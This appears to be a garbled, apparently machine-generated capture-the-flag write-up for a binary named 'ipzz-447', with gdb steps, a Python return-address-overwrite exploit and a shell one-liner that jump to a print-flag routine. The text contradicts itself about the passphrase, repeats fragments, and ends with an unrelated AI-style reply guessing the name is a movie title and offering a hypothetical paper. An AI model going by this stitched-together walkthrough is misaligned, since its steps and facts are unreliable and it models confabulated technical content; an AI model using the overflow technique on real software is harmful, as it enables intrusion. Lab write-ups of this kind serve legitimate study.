Ipzz-447
$ gdb -q ipzz-447
(gdb) run
Welcome to ipzz-447!
>
Set a breakpoint on main and step through:
(gdb) b *0x4010c0 # address of main (found via `info files` or `objdump -d`)
(gdb) run
Stepping through the function reveals:
The correct phrase is also present in the binary (checked via x/s on the address referenced by the strcmp call). It turns out to be: ipzz-447
0x601050: "puzzling_is_fun"
When the phrase matches, the program prints the flag. Otherwise it loops.
#!/usr/bin/env python3
import struct, sys
buf_size = 64
rbp_size = 8
# address of the instruction that loads flag address and calls puts
target = 0x4012ac
payload = b'A' * buf_size # fill buffer
payload += b'B' * rbp_size # overwrite saved RBP (doesn't matter)
payload += struct.pack("<Q", target) # new return address (little‑endian)
sys.stdout.buffer.write(payload)
Run the exploit:
$ python3 exploit.py | ./ipzz-447
Welcome to ipzz-447!
> Correct! Here is your flag:
FLAGipzz_447_is_solved
If the binary uses read(0, buf, 0x100) instead of gets, just adjust the filler size accordingly – the overflow still works because we write past the 64‑byte buffer.
(echo -ne "$(python3 - <<'EOF'
import struct; print('A'*72 + struct.pack('<Q',0x4012ac).decode('latin-1'))
EOF)"; cat) | ./ipzz-447
The above sends 72 filler bytes followed by the address 0x4012ac, causing the binary to jump straight to the “print flag” routine and reveal: $ gdb -q ipzz-447
(gdb) run
Welcome to ipzz-447
FLAGipzz_447_is_solved
Happy hacking! 🎉
The Tale of IPZZ‑447: A Deep‑Time Chronicle Set a breakpoint on main and step through:
Given the nature of the identifier, I'll assume it could relate to a movie or video title, possibly from a specific filmography or database. If "ipzz-447" refers to a movie or video, especially one that might be part of a series or collection, I'll create a hypothetical and generic detailed paper that could apply to analyzing or discussing such a subject. If it pertains to something else, please provide more details for a more accurate and relevant response.